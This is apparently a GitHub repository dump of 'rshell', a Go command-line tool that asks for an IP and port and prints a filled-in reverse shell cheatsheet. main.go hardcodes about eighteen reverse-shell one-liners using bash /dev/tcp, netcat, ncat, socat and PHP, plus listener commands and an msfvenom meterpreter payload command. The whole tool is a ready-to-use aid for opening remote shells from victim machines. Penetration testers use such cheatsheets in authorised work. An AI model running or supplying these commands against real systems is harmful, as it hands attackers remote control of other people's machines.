├── .gitignore ├── README.md ├── demo.png ├── go.mod ├── go.sum ├── main.go ├── rshell_linux ├── rshell_mac └── rshell_windows.exe /.gitignore: -------------------------------------------------------------------------------- 1 | .DS_Store 2 | .idea 3 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## rshell 2 | 3 | 输入IP与Port,自动生成Reverse Shell Cheatsheet。 4 | 5 | ![rshell](demo.png) 6 | 7 | ## Ref 8 | 9 | - [Reverse shell cheatsheet 网页版](https://krober.biz/misc/reverse_shell.php) 10 | - [Reverse Shell Cheat Sheet TooL Python版](https://github.com/0xR0/shellver) -------------------------------------------------------------------------------- /demo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SewellDinG/ReverseShellCheatsheet/79b498b70319a60ad756e86c396f043ac01ecc28/demo.png -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module ReverseShellCheatsheet 2 | 3 | go 1.13 4 | 5 | require ( 6 | github.com/alexeyco/simpletable v0.0.0-20200203113705-55bd62a5b8df // indirect 7 | github.com/fatih/color v1.9.0 8 | github.com/mattn/go-runewidth v0.0.9 // indirect 9 | ) 10 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/alexeyco/simpletable v0.0.0-20200203113705-55bd62a5b8df h1:i5EJgJMgwrt5u4Ma7OAuY/k+SbnUvj4T7vX/cXVNmVg= 2 | github.com/alexeyco/simpletable v0.0.0-20200203113705-55bd62a5b8df/go.mod h1:gx4+gp4N5VWqThMIidoUMBNUCT4Pan3J8ETR1ParWUU= 3 | github.com/fatih/color v1.9.0 h1:8xPHl4/q1VyqGIPif1F+1V3Y3lSmrq01EabUW3CoW5s= 4 | github.com/fatih/color v1.9.0/go.mod h1:eQcE1qtQxscV5RaZvpXrrb8Drkc3/DdQ+uUYCNjL+zU= 5 | github.com/mattn/go-colorable v0.1.4 h1:snbPLB8fVfU9iwbbo30TPtbLRzwWu6aJS6Xh4eaaviA= 6 | github.com/mattn/go-colorable v0.1.4/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE= 7 | github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s= 8 | github.com/mattn/go-isatty v0.0.11 h1:FxPOTFNqGkuDUGi3H/qkUbQO4ZiBa2brKq5r0l8TGeM= 9 | github.com/mattn/go-isatty v0.0.11/go.mod h1:PhnuNfih5lzO57/f3n+odYbM4JtupLOxQOAqxQCu2WE= 10 | github.com/mattn/go-runewidth v0.0.9 h1:Lm995f3rfxdpd6TSmuVCHVb/QhupuXlYr8sCI/QdE+0= 11 | github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI= 12 | golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 13 | golang.org/x/sys v0.0.0-20191026070338-33540a1f6037 h1:YyJpGZS1sBuBCzLAR1VEpK193GlqGZbnPFnPV/5Rsb4= 14 | golang.org/x/sys v0.0.0-20191026070338-33540a1f6037/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 15 | -------------------------------------------------------------------------------- /main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "github.com/alexeyco/simpletable" 6 | "github.com/fatih/color" 7 | "log" 8 | "strings" 9 | ) 10 | 11 | func getArgs() (string, string) { 12 | var ( 13 | ip string 14 | port string 15 | ) 16 | 17 | fmt.Printf("IP: ") 18 | _, err := fmt.Scan(&ip) 19 | if err != nil { 20 | log.Fatal("Input ip err:", err) 21 | } 22 | fmt.Printf("Port: ") 23 | _, err = fmt.Scan(&port) 24 | if err != nil { 25 | log.Fatal("Input port err:", err) 26 | } 27 | return ip, port 28 | } 29 | 30 | func echoTable(ip string, port string) { 31 | var ( 32 | data = [][]interface{}{ 33 | {1, "Bash TCP # Victim", "bash -i >& /dev/tcp/IP/Port 0>&1"}, 34 | {2, "Bash TCP # Victim", "/bin/bash -i > /dev/tcp/IP/Port 0<& 2>&1"}, 35 | {3, "Bash TCP # Victim", "exec 5<>/dev/tcp/IP/Port;cat <&5 | while read line; do $line 2>&5 >&5; done"}, 36 | {4, "Bash TCP # Victim", "exec /bin/sh 0&0 2>&0"}, 37 | {6, "Bash UDP # Victim", "sh -i >& /dev/udp/IP/Port 0>&1"}, 38 | {7, "Bash UDP # Listener", "nc -u -lvp Port"}, 39 | {8, "Netcat", "nc -e /bin/sh IP Port"}, 40 | {9, "Netcat", "nc -c bash IP Port"}, 41 | {10, "Ncat", "ncat IP Port -e /bin/bash"}, 42 | {11, "Ncat", "ncat --udp IP Port -e /bin/bash"}, 43 | {12, "Socat #1 Victim", "socat tcp-connect:IP:Port exec:'bash -li',pty,stderr,setsid,sigint,sane"}, 44 | {13, "Socat #1 Listener", "socat file:`tty`,raw,echo=0 TCP-L:Port"}, 45 | {14, "Socat #2 Victim", "socat tcp-listen:Port system:bash,pty,stderr"}, 46 | {15, "Socat #2 Hacker", "socat - tcp:IP:Port"}, 47 | {16, "Socat # Victim", "socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:IP:Port"}, 48 | {17, "PHP", "php -r '$sock=fsockopen(IP,Port);exec(\"/bin/bash -i <&3 >&3 2>&3\");'"}, 49 | {18, "Metasploit # Meterpreter", "msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=Port -f exe > shell.exe"}, 50 | {19, "tty", "python -c 'import pty;pty.spawn(\"/bin/sh\")'"}, 51 | } 52 | ) 53 | 54 | table := simpletable.New() 55 | 56 | table.Header = &simpletable.Header{ 57 | Cells: []*simpletable.Cell{ 58 | {Align: simpletable.AlignCenter, Text: "#"}, 59 | {Align: simpletable.AlignCenter, Text: "Type"}, 60 | {Align: simpletable.AlignCenter, Text: "Command"}, 61 | }, 62 | } 63 | 64 | for _, row := range data { 65 | replacer := strings.NewReplacer("IP", ip, "Port", port) 66 | cmd := replacer.Replace(row[2].(string)) 67 | r := []*simpletable.Cell{ 68 | {Align: simpletable.AlignRight, Text: fmt.Sprintf("%d", row[0].(int))}, 69 | {Text: row[1].(string)}, 70 | {Text: cmd}, 71 | } 72 | table.Body.Cells = append(table.Body.Cells, r) 73 | } 74 | 75 | table.SetStyle(simpletable.StyleUnicode) 76 | color.Cyan(table.String()) 77 | } 78 | 79 | func main() { 80 | ip, port := getArgs() 81 | echoTable(ip, port) 82 | } 83 | -------------------------------------------------------------------------------- /rshell_linux: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SewellDinG/ReverseShellCheatsheet/79b498b70319a60ad756e86c396f043ac01ecc28/rshell_linux -------------------------------------------------------------------------------- /rshell_mac: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SewellDinG/ReverseShellCheatsheet/79b498b70319a60ad756e86c396f043ac01ecc28/rshell_mac -------------------------------------------------------------------------------- /rshell_windows.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SewellDinG/ReverseShellCheatsheet/79b498b70319a60ad756e86c396f043ac01ecc28/rshell_windows.exe --------------------------------------------------------------------------------